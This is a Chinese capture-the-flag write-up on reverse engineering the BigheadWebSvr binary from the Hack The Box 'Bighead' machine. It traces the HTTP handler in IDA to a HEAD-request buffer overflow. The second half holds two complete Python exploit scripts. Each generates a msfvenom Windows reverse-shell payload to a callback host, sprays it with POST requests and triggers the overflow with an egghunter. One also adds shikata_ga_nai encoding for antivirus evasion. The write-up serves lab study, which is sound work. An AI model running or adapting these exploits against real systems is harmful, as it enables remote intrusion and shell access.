Hack-The-Box[BigheadWebSvr逆向-part-2]

  • 本文专门记录hack the box — bighead机器的BigheadWebSvr逆向部分,故前面的部分省略,part2主要使用的工具是ida。

step1

  • 寻找ConnectionHandler

找到处理web请求的函数,因为可以与服务器交互。如果在处理命令行参数时发现了溢出,这没有用,因为无法控制它。下面的方法可以找到IDA标记为_ConnectionHandler@4的函数。

  • 字符串

打开IDA后,按Shift-F12打开Strings窗口。走到一半的时候,这个区域会跳出来

这些显然是用于解析传入的HTTP请求的字符串。这输入与服务器交互的地方,所以想从这里开始。选择GET /coffee,因为这是第一次看到BigheadWebSrv的路径。

双击它,带到字符串是在内存中,与几个其他字符串在它周围,可以看到这个字符串地址在0x004077F3:

IDA还展示了_ConnectionHandler@4中的交叉引用(引用0x004077F3的代码)。

点击aGetCoffee(它将突出显示黄色),然后点击“x”,将得到一个弹出与这个字符串引用的代码的位置列表:

在本例中,只有一次,所以点击OK进入代码中:

向上滚动到函数的顶部,查看它的名称是由IDA指定的_ConnectionHandler@4。

step2

或者,当IDA加载时,它从main启动。知道这是一个网络服务器。所以它很可能会创建一个套接字,将其绑定到post,监听,等待连接,通过分叉(在Windows中是启动一个线程)处理那些连接。看到这个函数的整体流程是这样的:

甚至不需要查看程序集,就可以猜测发生了什么。

如果滚动代码本身,看看被调用的函数,发现基本上是对的。还注意到,在处理了arg之后,它会打印一条带有服务器版本的消息,并警告该软件是存在漏洞的:

如果跳到上面的绿色部分,将看到处理连接的代码和创建一个线程来处理连接的调用:

线程将偏移量传递给_ConnectionHander@4作为要运行的代码。

step3

也有可能,只是看看函数窗口,看到名称IDA给出的函数,并猜测这是处理连接:

  • 处理程序逻辑

现在有了处理程序逻辑,尝试理解它。就像使用main一样,从函数的形状开始,看看能不能猜出发生了什么:

立即看到一堆比较(if语句),末尾有一堆块。猜所有这些if语句都是基于成功/失败或recv,然后传入HTTP请求的不同属性(GET vs POST,文件存在,等等)进行分支。

从顶部开始,可以快速浏览并获得逻辑。并不是试图去理解每一个配置,而只是寻找一个生成的想法,即什么是分支,什么是可以排除的有趣的东西。以下是在上面看到的流的注释版本:

  • (a)设置两个缓冲区并将其设置为0。如果某个错误代码为-1,则打印(b)处的错误并返回(c)处的错误。

  • (d)检查最后一个memset返回ok,否则返回(c)。

  • (e)在第一个缓冲区中recv到0x20c(524)字节,并检查返回代码。如果0或错误(负),跳转到(f)。在(f),如果recv返回0,转到(g),打印“连接关闭”,关闭套接字,并转到(c)返回。否则,转到(h),打印接收错误值,关闭套接字,然后转到(c)返回。

  • 检查在(i)处接收的数据的长度。如果它小于0xdb(219)字节,转到(j),否则转到(k)。

  • 在(j)处,检查请求的前五个字节是否为“HEAD”。如果是这样,请进入用绿色标记的部分。否则,转到(k)。

  • 在(k),现在处理所有的请求,除了一个低于219字节的头,检查请求以6个字节开始,“GET /”(在“/”后面有空格)。如果是这样,转到(l),发送带有拿着饮料的人的图像的响应,清理干净,然后返回到(c)。否则,转到(m)。

  • 在(m)处,检查请求是否以“GET /coffee”开始。如果匹配,将418响应与teapot gif发送到(n),然后清理并返回到(c)。这就解释了为什么dirsearch为/coffee、/coffeecat、/coffeebreak和/coffeecup返回相同的结果。否则,转到(o)。

  • 在(o)处,检查申请是否以“POST /”开头。如果是这样,转到(p)和(l)完全一样,发送给那个带着饮料图像的人。否则,转到(q)并发送404消息,清除,并返回到(c)。

很快,就排除了上述流程中的任何风险。

  • 短head请求

其余的代码(上面绿色的部分)在HEAD请求长度小于219字节时调用。只是浏览一下,试图从更高的层面了解它在做什么:

  • 在(a)处,从原始初始化开始的第二个缓冲区的三个字节被设置为0。然后,创建一个新的12字节缓冲区。最后,初始化两个计数器(EBP-C和EPB-10)。把它们称为I和j I被设为6,而j为0。

  • 现在在(b)中,它是循环的顶部。进入请求的字节i字节将被加载,如果为空,循环将跳转到(e)。否则,继续跳转到(c),其中i+1字节进入请求,如果为空,循环跳转到(e)。否则,继续跳转到(d)。

  • (d)有一堆事情:

因此,它将每两个字节从十六进制转换为一个字节值,并将其存储在堆的缓冲区中。然后它回到这个局部循环的顶部。

  • 这里有一个堆溢出,因为可以写远超过错误定位的12字节。检查这个循环完成后会发生什么,在(e)中。

  • 首先,它调用_Function4,将新的未十六进制数组作为参数传递。然后它向guy和drink图像发送相同的200 OK,并向控制台打印一些消息。然后转到(f),检查发送的返回代码。如果-1(错误),它转到(g),打印更多错误,清理并返回。否则,它将返回循环的顶部并尝试读取更多内容。

快速浏览Function4:

基本上是从I控制的缓冲区执行一个不安全的strcpy到堆栈上的一个地址。这是一个覆盖函数返回指针溢出的明显例子,但现在可以避免堆溢出。

Final Exploit 1 (推荐,较稳定,回弹shell时间较短):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#!/usr/bin/env python

import os
import subprocess
import sys

from pwn import *
from time import sleep

context(terminal=['tmux', 'new-window'])
context(os='windows', arch="i386")


def clean_and_exit(msg, files):
print(msg)
for f in files:
try:
os.remove(f)
except:
pass
sys.exit()


if len(sys.argv) != 5:
clean_and_exit("%s [target] [target port] [callback ip] [callback port]" % (sys.argv[0]), [])

target = sys.argv[1]
port = sys.argv[2]
cb_ip = sys.argv[3]
cb_port = sys.argv[4]

# Generate Shellcode
msfvenom_string = 'msfvenom -p windows/shell_reverse_tcp LHOST=%s LPORT=%s EXIT_FUNC=THREAD -a x86 --platform windows -b "\\x00\\x0a\\x0d" -f python -v shellcode -o sc.py' % (cb_ip, cb_port)
print("[*] Generating shellcode:\n %s" % msfvenom_string)
p = subprocess.Popen(msfvenom_string.split(' '), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
out, err = p.communicate()

try:
if "Error" in err:
raise Exception("[-] Unable to generate shellcode\n %s" % err)
from sc import shellcode
except (NameError, Exception) as e:
clean_and_exit(e.message, ['sc.py', 'sc.pyc'])

print "[+] Shellcode generated successfully"
os.remove('sc.py')
os.remove('sc.pyc')

# !mona egg -t
egg = 'luci'
egghunter = "6681caff0f42526a0258cd2e3c055a74efb8" + egg.encode('hex') + "8bfaaf75eaaf75e7ffe7"

nops = "\x90"*16
spray = egg + egg + nops + shellcode
post = 'POST / HTTP/1.1\r\nHost: dev.bighead.htb\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {}\r\n\r\n'.format(len(spray))
spray_payload = post + spray

head = "HEAD /"
junk = "1" * (78-len(head))
jmp_esp = "f0125062" #p32(0x625012f0)
host = " HTTP/1.1\r\nHost: dev.bighead.htb\r\n\r\n"
exec_payload = head + junk + jmp_esp + egghunter + host

print("[*] Sending payload 16 times")
for i in range(16):
p = remote(target, port)
#print(spray_payload)
p.sendline(spray_payload)
p.recv()
p.close()
sleep(0.1)

print("[+] Payload sent.\n[*] Sleeping 1 second.")
sleep(1)

print("[*] Sending overflow + egghunter.")
print("[*] Expect callback in 0-3 minutes to %s:%s." % (cb_ip, cb_port))
p = remote(target, port)
p.sendline(exec_payload)
sleep(1)
p.recv()
p.close()
  • 逐行代码解释:
1
2
3
4
第15-48行是关于生成shellcode和清理shellcode的
第50-73行设置将发送的web请求
第65-72行发送带有shell的POST请求16次
第77-83行发送带egg hunter payload的head请求

Final Exploit 2 (回弹shell时间较长):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
#!/usr/bin/python

import sys, subprocess, requests
from requests import Request, Session

banner = (
"[+] Useage: %s <rhost> <rport> <lhost> <lport>"%sys.argv[0]
)
if __name__ == '__main__':
try:
rhost = sys.argv[1]
rport = sys.argv[2]
lhost = sys.argv[3]
lport = sys.argv[4]
except IndexError:
print(banner)
sys.exit(-1)

urlpath = ("http://" + rhost + ":" + str(rport) + "/")
hdrs = {'User-Agent': 'lUc1f3r11'}
proxy = {'http': 'http://127.0.0.1:8080'}
lstner = ("nc -s " + lhost + " -nvlp " + str(lport))

mksh = (# Auto Generate Reverse Shell Payload Using msfvenom
"msfvenom -p windows/shell_reverse_tcp" +
" -e x86/shikata_ga_nai" +
" EXITFUNC=thread" +
" -v RevShell" +
" LHOST=" + lhost +
" LPORT=" + lport +
" -f python" +
" -a x86" +
" -o RevPld.py"
)

try:
print("[+] Attempting To Generate Reverse Shell Payload ...")
vnm = subprocess.Popen(mksh.split(), stdout=subprocess.PIPE)
vnm.wait()
print("[+] Reverse Shell Payload Generated Successfully...")
except:
print("[!] ERROR: Couldn't Generate Payload")
sys.exit(-1)

from RevPld import RevShell

shl = (# Prepends a string of 3mg33mg3
("3mg3" * 2) +
# Insert msfvenom revshell payload
RevShell
)

egh = (# EggHunter Shellcode
"6681CAFF0F42526A" # 32 byte EggHunter, with egg of '3mg3'
"0258CD2E3C055A74" # This will scan through mem address space
"EFB8336D67338BFA" # and try to match the string "3mg33mg3",
"AF75EAAF75E7FFE7" # then execute the shellcode that follows it.
)

buf = (# Place the EggHunter at the start of the buffer.
egh +
# EIP Overwrite Buffer
("A" * ((72) - len(egh))) +
# 64552F19 JMP EAX
# From Module Name=C:\MinGW\bin\libmingwex-0.dll
"192F5564"
)

sploit = (urlpath + buf)

print("[+] Sending evil HTTP request to BigHeadWebSvr 1.0")

try: # Prepare POST content body so it won't URL Encode the shellcode data.
s = Session()
payload={'5h377':shl}
r = Request('POST', urlpath, data=payload, headers=hdrs)
prepped = r.prepare()
prepped.body = shl
del prepped.headers['Content-Type']
# Send The Egg RevShell Payload as a POST Request data
resp = s.send(prepped, proxies=proxy, timeout=0.01)
print(resp.status_code)
except:
print("[+] Shell Payload Sent...")

try:
# Send the HEAD METHOD BOF Exploit
r = requests.head(sploit, headers=hdrs, timeout=0.01, proxies=proxy)
except:
print("[+] Exploit Sent!")

try:
# Start a netcat listener and wait for the incoming connection
print("[+] Listening for reverse shell")
ncl = subprocess.Popen(lstner, shell=True)
ncl.poll()
ncl.wait()
except:
print("\r[!] Shell Terminated!")
exit(0)

此exploit生成的shellcode使用了msf的 x86/shikata_ga_nai 编码模块有一定的免杀效果。